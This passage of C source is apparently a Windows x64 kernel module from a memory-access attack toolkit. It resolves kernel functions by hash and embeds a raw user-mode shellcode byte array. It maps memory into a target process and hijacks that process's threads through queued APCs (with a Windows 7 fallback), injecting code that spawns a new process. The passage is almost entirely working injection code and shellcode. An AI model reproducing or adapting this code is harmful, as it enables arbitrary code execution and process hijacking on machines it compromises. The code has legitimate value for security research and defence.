PKERNEL_FUNCTIONS2 fnk2)\n{\n\tDWORD i = 0, NAMES[18];\n\tNAMES[i++] = H_IoAllocateMdl;\n\tNAMES[i++] = H_KeInitializeApc;\n\tNAMES[i++] = H_KeInsertQueueApc;\n\tNAMES[i++] = H_KeStackAttachProcess;\n\tNAMES[i++] = H_KeUnstackDetachProcess;\n\tNAMES[i++] = H_MmAllocateContiguousMemory;\n\tNAMES[i++] = H_MmFreeContiguousMemory;\n\tNAMES[i++] = H_MmMapLockedPagesSpecifyCache;\n\tNAMES[i++] = H_MmProbeAndLockPages;\n\tNAMES[i++] = H_ObDereferenceObject;\n\tNAMES[i++] = H_PsGetProcessImageFileName;\n\tNAMES[i++] = H_PsLookupProcessByProcessId;\n\tNAMES[i++] = H_PsLookupThreadByThreadId;\n\tNAMES[i++] = H_RtlCreateUserThread;\n\tNAMES[i++] = H_strnlen;\n\tNAMES[i++] = H_ZwAllocateVirtualMemory;\n\tNAMES[i++] = H_ZwOpenProcess;\n\twhile(i) {\n\t\ti--;\n\t\t*((PQWORD)fnk2 + i) = (QWORD)PEGetProcAddressH(qwNtosBase, NAMES[i]);\n\t}\n}\n\n//----------------------------------------------------------------------------------------------------------\n// USER MODE SHELLCODE ASSIGNMENT BELOW:\n//----------------------------------------------------------------------------------------------------------\n#ifndef _EXEC_USER_EXTERNAL\nVOID GetUserExecShellcode(_In_ PKMDDATA pk, _Out_ PBYTE *ppb, _Out_ PDWORD pcb)\n{\n\tUNREFERENCED_PARAMETER(pk);\n\tBYTE wx64_exec_user_bin[] = {\n\t\t0xb0, 0x00, 0xb2, 0x01, 0x48, 0x8d, 0x0d, 0x49, 0x00, 0x00, 0x00, 0xf0,\n\t\t0x0f, 0xb0, 0x11, 0x75, 0x42, 0x48, 0x8d, 0x0d, 0xe8, 0xff, 0xff, 0xff,\n\t\t0x48, 0x81, 0xe1, 0x00, 0xf0, 0xff, 0xff, 0x65, 0x48, 0x8b, 0x14, 0x25,\n\t\t0x30, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18,\n\t\t0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x12, 0x48, 0x8b, 0x12, 0x48, 0x8b,\n\t\t0x52, 0x20, 0x56, 0x48, 0x8b, 0xf4, 0x48, 0x83, 0xe4, 0xf0, 0x48, 0x83,\n\t\t0xec, 0x20, 0xe8, 0xe1, 0x03, 0x00, 0x00, 0x48, 0x8b, 0xe6, 0x5e, 0xc3,\n\t\t0x00, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x74,\n\t\t0x24, 0x10, 0x48, 0x89, 0x7c, 0x24, 0x18, 0x48, 0x63, 0x41, 0x3c, 0x4c,\n\t\t0x8b, 0xc9, 0x8b, 0xf2, 0x44, 0x8b, 0x84, 0x08, 0x88, 0x00, 0x00, 0x00,\n\t\t0x4c, 0x03, 0xc1, 0x45, 0x8b, 0x50, 0x20, 0x45, 0x8b, 0x58, 0x24, 0x4c,\n\t\t0x03, 0xd1, 0x41, 0x8b, 0x58, 0x1c, 0x4c, 0x03, 0xd9, 0x41, 0x8b, 0x78,\n\t\t0x18, 0x48, 0x03, 0xd9, 0x33, 0xc9, 0x85, 0xff, 0x74, 0x2d, 0x41, 0x8b,\n\t\t0x12, 0x49, 0x03, 0xd1, 0x45, 0x33, 0xc0, 0xeb, 0x0d, 0x0f, 0xb6, 0xc0,\n\t\t0x48, 0xff, 0xc2, 0x41, 0xc1, 0xc8, 0x0d, 0x44, 0x03, 0xc0, 0x8a, 0x02,\n\t\t0x84, 0xc0, 0x75, 0xed, 0x44, 0x3b, 0xc6, 0x74, 0x1c, 0xff, 0xc1, 0x49,\n\t\t0x83, 0xc2, 0x04, 0x3b, 0xcf, 0x72, 0xd3, 0x33, 0xc0, 0x48, 0x8b, 0x5c,\n\t\t0x24, 0x08, 0x48, 0x8b, 0x74, 0x24, 0x10, 0x48, 0x8b, 0x7c, 0x24, 0x18,\n\t\t0xc3, 0x41, 0x0f, 0xb7, 0x0c, 0x4b, 0x8b, 0x04, 0x8b, 0x49, 0x03, 0xc1,\n\t\t0xeb, 0xe3, 0xcc, 0xcc, 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b,\n\t\t0x41, 0x78, 0x48, 0x8b, 0xd9, 0x33, 0xc9, 0x48, 0x89, 0x08, 0x39, 0x8b,\n\t\t0x88, 0x00, 0x00, 0x00, 0x74, 0x22, 0x89, 0x8b, 0x88, 0x00, 0x00, 0x00,\n\t\t0x48, 0x8b, 0x4b, 0x58, 0xff, 0x53, 0x08, 0x48, 0x8b, 0x4b, 0x50, 0xff,\n\t\t0x53, 0x08, 0x48, 0x8b, 0x4b, 0x60, 0xff, 0x53, 0x08, 0x48, 0x8b, 0x4b,\n\t\t0x68, 0xff, 0x53, 0x08, 0x48, 0x8b, 0x43, 0x70, 0x48, 0xb9, 0xac, 0xda,\n\t\t0x37, 0x13, 0x00, 0x22, 0xda, 0xfe, 0x48, 0x89, 0x08, 0x48, 0x8b, 0x43,\n\t\t0x78, 0x48, 0x89, 0x08, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0xcc, 0xcc,\n\t\t0x40, 0x53, 0x48, 0x83, 0xec, 0x70, 0xba, 0x68, 0x00, 0x00, 0x00, 0x48,\n\t\t0x8b, 0xd9, 0x8d, 0x4a, 0xd8, 0xff, 0x53, 0x30, 0xc7, 0x00, 0x68, 0x00,\n\t\t0x00, 0x00, 0xc7, 0x40, 0x3c, 0x00, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x13,\n\t\t0x48, 0x83, 0xba, 0x08, 0x01, 0x00, 0x00, 0x00, 0x74, 0x18, 0x48, 0x8b,\n\t\t0x4b, 0x60, 0x48, 0x89, 0x48, 0x58, 0x48, 0x8b, 0x4b, 0x68, 0x48, 0x89,\n\t\t0x48, 0x50, 0x48, 0x8b, 0x4b, 0x60, 0x48, 0x89, 0x48, 0x60, 0x48, 0x8b,\n\t\t0x13, 0x48, 0x8d, 0x4c, 0x24, 0x50, 0x48, 0x89, 0x4c, 0x24, 0x48, 0x45,\n\t\t0x33, 0xc9, 0x48, 0x89, 0x44, 0x24, 0x40, 0x45, 0x33, 0xc0, 0x48, 0x83,\n\t\t0x64, 0x24, 0x38, 0x00, 0x33, 0xc9, 0x48, 0x83, 0x64, 0x24, 0x30, 0x00,\n\t\t0x8b, 0x82, 0x10, 0x01, 0x00, 0x00, 0x89, 0x44, 0x24, 0x28, 0xc7, 0x44,\n\t\t0x24, 0x20, 0x01, 0x00, 0x00, 0x00, 0xff, 0x53, 0x18, 0x85, 0xc0, 0x74,\n\t\t0x26, 0x48, 0x8b, 0x4c, 0x24, 0x50, 0x48, 0x89, 0x8b, 0x80, 0x00, 0x00,\n\t\t0x00, 0x48, 0x8b, 0x0b, 0x48, 0x83, 0xb9, 0x08, 0x01, 0x00, 0x00, 0x00,\n\t\t0x74, 0x08, 0x48, 0x8b, 0x4c, 0x24, 0x58, 0xff, 0x53, 0x08, 0xb8, 0x01,\n\t\t0x00, 0x00, 0x00, 0x48, 0x83, 0xc4, 0x70, 0x5b, 0xc3, 0xcc, 0xcc, 0xcc,\n\t\t0x48, 0x8b, 0xc4, 0x48, 0x89, 0x58, 0x08, 0x48, 0x89, 0x68, 0x10, 0x48,\n\t\t0x89, 0x70, 0x18, 0x57, 0x48, 0x83, 0xec, 0x50, 0x48, 0x8b, 0xe9, 0xc7,\n\t\t0x40, 0xc8, 0xfb, 0x97, 0xfd, 0x0f, 0xc7, 0x40, 0xcc, 0x80, 0x8f, 0x0c,\n\t\t0x17, 0x48, 0x8d, 0x7a, 0x48, 0xc7, 0x40, 0xd0, 0x72, 0xfe, 0xb3, 0x16,\n\t\t0x48, 0x8d, 0x70, 0xec, 0xc7, 0x40, 0xd4, 0x6b, 0xd0, 0x2b, 0xca, 0xbb,\n\t\t0x09, 0x00, 0x00, 0x00, 0xc7, 0x40, 0xd8, 0x74, 0xab, 0x30, 0xac, 0xc7,\n\t\t0x40, 0xdc, 0xfa, 0x97, 0x02, 0x4c, 0xc7, 0x40, 0xe0, 0x16, 0x65, 0xfa,\n\t\t0x10, 0xc7, 0x40, 0xe4, 0xb0, 0x49, 0x2d, 0xdb, 0xc7, 0x40, 0xe8, 0x1f,\n\t\t0x79, 0x0a, 0xe8, 0x48, 0x8d, 0x76, 0xfc, 0x48, 0x8b, 0xcd, 0x8b, 0x16,\n\t\t0x48, 0x8d, 0x7f, 0xf8, 0xe8, 0xeb, 0xfd, 0xff, 0xff, 0x48, 0x89, 0x07,\n\t\t0x83, 0xc3, 0xff, 0x75, 0xe6, 0x48, 0x8b, 0x5c, 0x24, 0x60, 0x48, 0x8b,\n\t\t0x6c, 0x24, 0x68, 0x48, 0x8b, 0x74, 0x24, 0x70, 0x48, 0x83, 0xc4, 0x50,\n\t\t0x5f, 0xc3, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x28, 0x48, 0x8b, 0xc1, 0x48,\n\t\t0x8d, 0x54, 0x24, 0x30, 0x48, 0x8b, 0x89, 0x80, 0x00, 0x00, 0x00, 0xff,\n\t\t0x50, 0x28, 0x33, 0xc9, 0x85, 0xc0, 0x74, 0x0f, 0x81, 0x7c, 0x24, 0x30,\n\t\t0x03, 0x01, 0x00, 0x00, 0x75, 0x05, 0xb9, 0x01, 0x00, 0x00, 0x00, 0x8b,\n\t\t0xc1, 0x48, 0x83, 0xc4, 0x28, 0xc3, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24,\n\t\t0x10, 0x56, 0x48, 0x83, 0xec, 0x30, 0x83, 0xb9, 0x88, 0x00, 0x00, 0x00,\n\t\t0x00, 0x48, 0x8b, 0xd9, 0x0f, 0x84, 0xab, 0x00, 0x00, 0x00, 0xbe, 0x00,\n\t\t0x08, 0x00, 0x00, 0x48, 0x8b, 0xcb, 0xe8, 0xa5, 0xff, 0xff, 0xff, 0x85,\n\t\t0xc0, 0x0f, 0x84, 0x96, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x43, 0x70, 0x4c,\n\t\t0x8b, 0x4b, 0x78, 0x48, 0x83, 0x64, 0x24, 0x20, 0x00, 0x8b, 0x48, 0x10,\n\t\t0x41, 0x8b, 0x51, 0x08, 0x81, 0xe1, 0xff, 0x07, 0x00, 0x00, 0x81, 0xe2,\n\t\t0xff, 0x07, 0x00, 0x00, 0x3b, 0xca, 0x8b, 0xc2, 0x48, 0x8b, 0x4b, 0x58,\n\t\t0x77, 0x08, 0x44, 0x8b, 0xc6, 0x44, 0x2b, 0xc2, 0xeb, 0x03, 0x45, 0x33,\n\t\t0xc0, 0x49, 0x8d, 0x51, 0x68, 0x48, 0x03, 0xd0, 0x4c, 0x8d, 0x4c, 0x24,\n\t\t0x40, 0xff, 0x53, 0x38, 0x85, 0xc0, 0x74, 0x4d, 0x48, 0x8b, 0x4b, 0x78,\n\t\t0x8b, 0x44, 0x24, 0x40, 0x48, 0x01, 0x41, 0x08, 0xeb, 0x1d, 0x83, 0xbb,\n\t\t0x88, 0x00, 0x00, 0x00, 0x00, 0x74, 0x36, 0x48, 0x8b, 0xcb, 0xe8, 0x35,\n\t\t0xff, 0xff, 0xff, 0x85, 0xc0, 0x74, 0x1d, 0xb9, 0x0a, 0x00, 0x00, 0x00,\n\t\t0xff, 0x53, 0x40, 0x48, 0x8b, 0x4b, 0x78, 0x48, 0x8b, 0x43, 0x70, 0x48,\n\t\t0x8b, 0x49, 0x08, 0x48, 0x2b, 0x48, 0x10, 0x48, 0x3b, 0xce, 0x73, 0xce,\n\t\t0x83, 0xbb, 0x88, 0x00, 0x00, 0x00, 0x00, 0x0f, 0x85, 0x5a, 0xff, 0xff,\n\t\t0xff, 0x48, 0x8b, 0xcb, 0xe8, 0x5b, 0xfd, 0xff, 0xff, 0x48, 0x8b, 0x5c,\n\t\t0x24, 0x48, 0x48, 0x83, 0xc4, 0x30, 0x5e, 0xc3, 0x40, 0x53, 0x48, 0x83,\n\t\t0xec, 0x30, 0x83, 0xb9, 0x88, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xd9,\n\t\t0x74, 0x78, 0x48, 0x8b, 0xcb, 0xe8, 0xda, 0xfe, 0xff, 0xff, 0x85, 0xc0,\n\t\t0x74, 0x6c, 0x48, 0x8b, 0x53, 0x78, 0x48, 0x8b, 0x4b, 0x70, 0x48, 0x8b,\n\t\t0x42, 0x10, 0x48, 0x39, 0x41, 0x08, 0x75, 0x0a, 0xb9, 0x0a, 0x00, 0x00,\n\t\t0x00, 0xff, 0x53, 0x40, 0xeb, 0x47, 0x44, 0x8b, 0x41, 0x08, 0x48, 0x8d,\n\t\t0x51, 0x68, 0x48, 0x83, 0x64, 0x24, 0x20, 0x00, 0x4c, 0x8d, 0x4c, 0x24,\n\t\t0x40, 0x48, 0x8b, 0x4b, 0x50, 0x25, 0xff, 0x07, 0x00, 0x00, 0x41, 0x81,\n\t\t0xe0, 0xff, 0x07, 0x00, 0x00, 0x48, 0x03, 0xd0, 0x41, 0x3b, 0xc0, 0x72,\n\t\t0x06, 0x41, 0xb8, 0x00, 0x08, 0x00, 0x00, 0x44, 0x2b, 0xc0, 0xff, 0x53,\n\t\t0x48, 0x85, 0xc0, 0x74, 0x15, 0x48, 0x8b, 0x4b, 0x78, 0x8b, 0x44, 0x24,\n\t\t0x40, 0x48, 0x01, 0x41, 0x10, 0x83, 0xbb, 0x88, 0x00, 0x00, 0x00, 0x00,\n\t\t0x75, 0x88, 0x48, 0x8b, 0xcb, 0xe8, 0xbe, 0xfc, 0xff, 0xff, 0x48, 0x83,\n\t\t0xc4, 0x30, 0x5b, 0xc3, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x74,\n\t\t0x24, 0x10, 0x57, 0x48, 0x83, 0xec, 0x50, 0x48, 0x8b, 0xfa, 0x48, 0x8b,\n\t\t0xd9, 0x48, 0x8b, 0xcf, 0xba, 0xfa, 0x97, 0x02, 0x4c, 0xe8, 0x06, 0xfc,\n\t\t0xff, 0xff, 0xba, 0x90, 0x00, 0x00, 0x00, 0x8d, 0x4a, 0xb0, 0xff, 0xd0,\n\t\t0x48, 0x8d, 0x8b, 0xe8, 0x0e, 0x00, 0x00, 0x48, 0x8b, 0xf0, 0x48, 0x89,\n\t\t0x08, 0x48, 0x8d, 0x50, 0x08, 0x48, 0x8b, 0xcf, 0xe8, 0x83, 0xfd, 0xff,\n\t\t0xff, 0x48, 0x8b, 0x0e, 0x48, 0x83, 0xb9, 0x08, 0x01, 0x00, 0x00, 0x00,\n\t\t0x74, 0x7b, 0x48, 0x83, 0x64, 0x24, 0x38, 0x00, 0x4c, 0x8d, 0x44, 0x24,\n\t\t0x30, 0xc7, 0x44, 0x24, 0x30, 0x18, 0x00, 0x00, 0x00, 0x48, 0xba, 0x21,\n\t\t0x95, 0xef, 0xdf, 0x32, 0x12, 0x65, 0x12, 0xbf, 0x01, 0x00, 0x00, 0x00,\n\t\t0xbb, 0x00, 0x08, 0x00, 0x00, 0x89, 0x7c, 0x24, 0x40, 0x44, 0x8b, 0xcb,\n\t\t0x48, 0x8b, 0x06, 0x48, 0x8b, 0x88, 0x08, 0x01, 0x00, 0x00, 0x48, 0x89,\n\t\t0x4e, 0x70, 0x48, 0x8b, 0x80, 0x08, 0x01, 0x00, 0x00, 0x48, 0x05, 0x00,\n\t\t0x10, 0x00, 0x00, 0x48, 0x89, 0x46, 0x78, 0x48, 0x89, 0x11, 0x48, 0x8d,\n\t\t0x4e, 0x68, 0x48, 0x8b, 0x46, 0x78, 0x48, 0x89, 0x10, 0x48, 0x8d, 0x56,\n\t\t0x50, 0xff, 0x56, 0x10, 0x48, 0x8d, 0x56, 0x60, 0x44, 0x8b, 0xcb, 0x48,\n\t\t0x8d, 0x4e, 0x58, 0x4c, 0x8d, 0x44, 0x24, 0x30, 0xff, 0x56, 0x10, 0x89,\n\t\t0xbe, 0x88, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xce, 0xe8, 0x3f, 0xfc, 0xff,\n\t\t0xff, 0x85, 0xc0, 0x75, 0x0a, 0x48, 0x8b, 0xce, 0xe8, 0xd7, 0xfb, 0xff,\n\t\t0xff, 0xeb, 0x45, 0x48, 0x8b, 0x06, 0x48, 0x83, 0xb8, 0x08, 0x01, 0x00,\n\t\t0x00, 0x00, 0x74, 0x38, 0x48, 0x83, 0x64, 0x24, 0x28, 0x00, 0x4c, 0x8d,\n\t\t0x05, 0x6b, 0xfe, 0xff, 0xff, 0x83, 0x64, 0x24, 0x20, 0x00, 0x4c, 0x8b,\n\t\t0xce, 0x33, 0xd2, 0x33, 0xc9, 0xff, 0x56, 0x20, 0x48, 0x83, 0x64, 0x24,\n\t\t0x28, 0x00, 0x4c, 0x8d, 0x05, 0x77, 0xfd, 0xff, 0xff, 0x83, 0x64, 0x24,\n\t\t0x20, 0x00, 0x4c, 0x8b, 0xce, 0x33, 0xd2, 0x33, 0xc9, 0xff, 0x56, 0x20,\n\t\t0x48, 0x8b, 0x5c, 0x24, 0x60, 0x48, 0x8b, 0x74, 0x24, 0x68, 0x48, 0x83,\n\t\t0xc4, 0x50, 0x5f, 0xc3\n\t};\n\t*ppb = wx64_exec_user_bin; // user data\n\t*pcb = sizeof(wx64_exec_user_bin);\n}\n#endif /* ! _EXEC_USER_EXTERNAL */\n\n#ifdef _EXEC_USER_EXTERNAL\nVOID GetUserExecShellcode(_In_ PKMDDATA pk, _Out_ PBYTE *ppb, _Out_ PDWORD pcb)\n{\n\t*ppb = pk->ReservedKMD[2]; // user data\n\t*pcb = 0x1000 - (pk->ReservedKMD[2] & 0xfff);\n}\n#endif /* _EXEC_USER_EXTERNAL */\n\n//----------------------------------------------------------------------------------------------------------\n// USER MODE CODE SETUP BELOW:\n//----------------------------------------------------------------------------------------------------------\n\nNTSTATUS IntializeUserModeCode(_In_ PKMDDATA pk, _In_ PKERNEL_FUNCTIONS fnk, _In_ PKERNEL_FUNCTIONS2 fnk2, PBYTE pb, QWORD qwAddrConsoleBuffer)\n{\n\tPBYTE pbCodeUser;\n\tDWORD cbCodeUser;\n\tGetUserExecShellcode(pk, &pbCodeUser, &cbCodeUser);\n\n\tpk->ReservedKMD[4] = 0x7777666677776666;\n\tpk->ReservedKMD[5] = pbCodeUser;\n\tpk->ReservedKMD[6] = cbCodeUser;\n\tpk->ReservedKMD[6] = *(PQWORD)pbCodeUser;\n\n\tPUSERSHELL_CONFIG pCfg = (PUSERSHELL_CONFIG)(pb + 0x1000 - sizeof(USERSHELL_CONFIG));\n\tSIZE_T cchProcToStart = fnk2->strnlen(pk->dataInStr, MAX_PATH);\n\tif(cchProcToStart == 0) {\n\t\treturn E_INVALIDARG;\n\t}\n\tfnk->RtlZeroMemory(pb, 0x1000);\n\tfnk->RtlCopyMemory(pb, pbCodeUser, cbCodeUser);\n\tfnk->RtlCopyMemory(pCfg->szProcToStart, pk->dataInStr, MAX_PATH);\n\tpCfg->fCreateProcess = (DWORD)pk->dataIn[1];\n\tpCfg->qwAddrConsoleBuffer = qwAddrConsoleBuffer;\n\treturn S_OK;\n}\n\n/*\n* Initialized a 2-page console buffer inside the user mode process used for\n* thread hi-jacking. The pages are allocated from the NoPagedPool. On success\n* the memory and the MDL object allocated will be \"leaked\". On exit the physical\n* memory location be written to dataOut[2], dataInConsoleBuffer and dataOutConsoleBuffer.\n* NB! needs to be run insode a KeStackAttachProcess section.\n*/\nQWORD SetupConsoleBufferUserMode(_In_ PKMDDATA pk, _In_ PKERNEL_FUNCTIONS fnk, _In_ PKERNEL_FUNCTIONS2 fnk2)\n{\n\tPVOID pvMemory;\n\tPVOID pMdl;\n\tQWORD qwMemoryMapped;\n\t// Allocate and Zero memory.\n\tpvMemory = fnk->ExAllocatePool(0, 0x2000);\n\tif(!pvMemory) {\n\t\treturn NULL;\n\t}\n\tfnk->RtlZeroMemory(pvMemory, 0x2000);\n\t// Allocate MDL.\n\tpMdl = fnk2->IoAllocateMdl(pvMemory, 0x2000, FALSE, FALSE, NULL);\n\tif(!pMdl) {\n\t\tfnk->ExFreePool(pvMemory);\n\t\treturn NULL;\n\t}\n\tfnk2->MmProbeAndLockPages(pMdl, KernelMode, IoModifyAccess);\n\t// Map the memory into the target process.\n\tqwMemoryMapped = fnk2->MmMapLockedPagesSpecifyCache(pMdl, UserMode, MmCached, NULL, FALSE, NormalPagePriority);\n\tif(!qwMemoryMapped) {\n\t\tfnk->ExFreePool(pvMemory);\n\t\treturn NULL;\n\t}\n\t// finish\n\tpk->dataInConsoleBuffer = fnk->MmGetPhysicalAddress((PVOID)qwMemoryMapped);\n\tpk->dataOutConsoleBuffer = fnk->MmGetPhysicalAddress((PVOID)(qwMemoryMapped + 0x1000));\n\tpk->dataOut[2] = pvMemory;\n\tpk->dataOut[3] = qwMemoryMapped;\n\treturn qwMemoryMapped;\n}\n\n//----------------------------------------------------------------------------------------------------------\n// Windows 7 APC ROUTINES BELOW (WORKAROUND FOR MISSING ntoskrnl!RtlCreateUserThread).\n//----------------------------------------------------------------------------------------------------------\n#ifdef _WIN7_COMPAT\n\n/*\n* The KernelApcRoutine is called after the user mode APC is completed. \n*/\nVOID KernelApcRoutine(_In_ struct _KAPC *Apc, _Inout_ PVOID *NormalRoutine, _Inout_ PVOID *NormalContext, _Inout_ PVOID *SystemArgument1, _Inout_ PVOID *SystemArgument2)\n{\n\tPKMDDATA pk;\n\tVOID(*fnExFreePool)(PVOID);\n\tUNREFERENCED_PARAMETER(NormalRoutine);\n\tUNREFERENCED_PARAMETER(NormalContext);\n\tif(SystemArgument1 && *SystemArgument1) {\n\t\tpk = (PKMDDATA)*SystemArgument1;\n\t\tpk->dataOut[9] = MAGIC_WAIT_WORD;\n\t}\n\tif(SystemArgument2 && *SystemArgument2) {\n\t\tfnExFreePool = (VOID(*)(PVOID))*SystemArgument2;\n\t\tfnExFreePool(Apc);\n\t}\n}\n\n/*\n* Wait for dataIn[3] (default: 60) seconds or until pk->dataOut[9] is set to MAGIC_WAIT_WORD value\n*/\nVOID ActionWaitForExit(_In_ PKMDDATA pk, _In_ PKERNEL_FUNCTIONS fnk)\n{\n\tLONGLONG llTimeSecond = -1000000; // 100ms\n\tQWORD i, max;\n\tmax = pk->dataIn[3] ? pk->dataIn[3] : 60;\n\tmax *= 10;\n\tfor(i = 0; i < max; i++) {\n\t\tif(pk->dataOut[9] == MAGIC_WAIT_WORD) {\n\t\t\tpk->dataOut[9] = 0;\n\t\t\treturn;\n\t\t}\n\t\tfnk->KeDelayExecutionThread(KernelMode, FALSE, &llTimeSecond);\n\t}\n\tpk->dataOut[0] = ERROR_TIMEOUT;\n\tpk->dataOut[9] = 0;\n}\n\n/*\n* Locate the PKAPC_STATE struct inside the PETHREAD opaque structure by searching for\n* the first occurance of a reference to the PEPROCESS address location.\n*/\nPKAPC_STATE GetKApcState(_In_ PEPROCESS pEProcess, _In_ PETHREAD pEThread)\n{\n\tfor(DWORD offset = 0; offset < 256; offset += 8) {\n\t\tif((QWORD)pEProcess == *(PQWORD)((QWORD)pEThread + offset)) {\n\t\t\treturn (PKAPC_STATE)((QWORD)pEThread + offset - 32);\n\t\t}\n\t}\n\treturn NULL;\n}\n\n/*\n* Locate the PKAPC_STATE struct inside the PETHREAD opaque structure by searching for\n* the first occurance of a reference to the PEPROCESS address location.\n*/\nBOOLEAN GetKApcIsAlertable(_In_ PEPROCESS pEProcess, _In_ PETHREAD pEThread)\n{\n\tQWORD apcs = (QWORD)GetKApcState(pEProcess, pEThread);\n\tapcs += sizeof(KAPC_STATE) + 3 * 8;\n\treturn *(PBOOLEAN)apcs;\n}\n\n/*\n* Retrieve a suitable thread that may be used to queue the APC onto.\n*/\nPETHREAD GetPEThread(_In_ PKERNEL_FUNCTIONS fnk, _In_ PKERNEL_FUNCTIONS2 fnk2, _In_ HANDLE UniqueProcessId, _In_ PEPROCESS pEProcess, _In_ DWORD cSkipThreads)\n{\n\tNTSTATUS nt;\n\tPSYSTEM_PROCESS_INFORMATION pPI;\n\tPSYSTEM_THREAD_INFORMATION pTI;\n\tPETHREAD pEThread = NULL;\n\tHANDLE UniqueThreadId;\n\tPBYTE pbSPIBuffer;\n\tULONG cbSPIBuffer = 0;\n\tQWORD i = 0;\n\tnt = fnk->ZwQuerySystemInformation(SystemProcessInformation, NULL, 0, &cbSPIBuffer);\n\tif(nt != 0xC0000004 || !cbSPIBuffer) {\n\t\treturn nt;\n\t}\n\tpbSPIBuffer = (PBYTE)fnk->ExAllocatePool(0, cbSPIBuffer);\n\tif(!pbSPIBuffer) { return NULL; }\n\tnt = fnk->ZwQuerySystemInformation(SystemProcessInformation, pbSPIBuffer, cbSPIBuffer, &cbSPIBuffer);\n\tif(NT_SUCCESS(nt)) {\n\t\tpPI = (PSYSTEM_PROCESS_INFORMATION)pbSPIBuffer;\n\t\twhile(TRUE) {\n\t\t\tif(pPI->UniqueProcessId == UniqueProcessId) {\n\t\t\t\tfor(i = 0; i < pPI->NumberOfThreads; i++) {\n\t\t\t\t\t// TODO: check ThreadInfos internal offset on Win7/Win8 (Win10 = OK)\n\t\t\t\t\tpTI = (PSYSTEM_THREAD_INFORMATION)&pPI->ThreadInfos[i];\n\t\t\t\t\tUniqueThreadId = pTI->ClientId.UniqueThread;\n\t\t\t\t\tnt = fnk2->PsLookupThreadByThreadId(UniqueThreadId, &pEThread);\n\t\t\t\t\tif(NT_ERROR(nt) || !GetKApcIsAlertable(pEProcess, pEThread)) {\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\t\t\t\t\tif(cSkipThreads) {\n\t\t\t\t\t\tcSkipThreads--;\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\t\t\t\t\tfnk->ExFreePool(pbSPIBuffer);\n\t\t\t\t\treturn pEThread;\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tif(!pPI->NextEntryOffset) {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tpPI = (PSYSTEM_PROCESS_INFORMATION)((QWORD)pPI + pPI->NextEntryOffset);\n\t\t\tif(((QWORD)pPI < (QWORD)pbSPIBuffer) || ((QWORD)pPI > (QWORD)pbSPIBuffer + cbSPIBuffer)) {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}\n\tfnk->ExFreePool(pbSPIBuffer);\n\treturn NULL;\n}\n\nVOID ActionDefault_QueueApcState(_In_ PKMDDATA pk, _In_ PKERNEL_FUNCTIONS fnk, _In_ PKERNEL_FUNCTIONS2 fnk2, \n\tPEPROCESS Process, KAPC_STATE ApcState, PVOID pvAddressUserMode)\n{\n\tDWORD i;\n\tPKAPC pKApc = NULL;\n\tPETHREAD Thread = NULL;\n\tPKAPC_STATE Thread_ApcState = NULL;\n\tQWORD qwPID = pk->dataIn[0];\n\t// activate APC\n\ti = 0;\n\tdo {\n\t\tThread = GetPEThread(fnk, fnk2, (HANDLE)qwPID, Process, 0);\n\t\tif(!Thread) {\n\t\t\tif(i) { break; }\n\t\t\tpk->dataOut[0] = (QWORD)E_FAIL;\n\t\t\tpk->dataOut[1] = 0x02;\n\t\t\treturn;\n\t\t}\n\t\tThread_ApcState = GetKApcState(Process, Thread);\n\t\tif(!Thread_ApcState) {\n\t\t\tif(i) { break; }\n\t\t\tpk->dataOut[0] = (QWORD)E_FAIL;\n\t\t\tpk->dataOut[1] = 0x03;\n\t\t\treturn;\n\t\t}\n\t\tpKApc = fnk->ExAllocatePool(0, sizeof(KAPC));\n\t\tfnk->RtlZeroMemory(pKApc, sizeof(KAPC));\n\t\tif(!pKApc) {\n\t\t\tif(i) { break; }\n\t\t\tpk->dataOut[0] = (QWORD)E_FAIL;\n\t\t\tpk->dataOut[1] = 0x08;\n\t\t\tgoto fail;\n\t\t}\n\t\tfnk->RtlZeroMemory(&ApcState, sizeof(KAPC_STATE));\n\t\tfnk2->KeInitializeApc(pKApc, Thread, OriginalApcEnvironment, &KernelApcRoutine, NULL, pvAddressUserMode, UserMode, pvAddressUserMode);\n\t\tif(!fnk2->KeInsertQueueApc(pKApc, pk, fnk->ExFreePool, 0)) {\n\t\t\tif(i) { break; }\n\t\t\tpk->dataOut[0] = (QWORD)E_FAIL;\n\t\t\tpk->dataOut[1] = 0x09;\n\t\t\tgoto fail;\n\t\t}\n\t\tif(!Thread_ApcState->UserApcPending) {\n\t\t\tThread_ApcState->UserApcPending = TRUE;\n\t\t}\n\t} while((++i < NUM_PARALELL_APC_THREADS) && pk->dataIn[4]);\n\t// wait loop for magic wait word\n\tActionWaitForExit(pk, fnk);\n\treturn;\nfail:\n\tif(pKApc) { fnk->ExFreePool(pKApc);\t}\n}\n#endif /* _WIN7_COMPAT */\n\n//----------------------------------------------------------------------------------------------------------\n// MAIN CODE BELOW:\n//----------------------------------------------------------------------------------------------------------\n\n/*\n* Module main control routine. Connects to the parent process memory and injects\n* user mode code into it. Tries to spawn a thread by using RtlCreateUserThread if\n* function is exported by ntoskrnl - if not (win7) a fallback onto more complicated\n* KeInsertQueueApc is used instead. The injected code then creates the new process.\n*/\nVOID ActionDefault(_In_ PKMDDATA pk, _In_ PKERNEL_FUNCTIONS fnk, _In_ PKERNEL_FUNCTIONS2 fnk2)\n{\n\tNTSTATUS nt;\n\tOBJECT_ATTRIBUTES ObjectAttributes;\n\tQWORD qwPID = pk->dataIn[0];\n\tPEPROCESS Process = NULL;\n\tPVOID pvAddressUserMode = NULL;\n\tSIZE_T cbUserModeMemory = 0x1000;\n\tQWORD qwAddrConsoleBuffer = 0;\n\tHANDLE ZwProcessHandle = 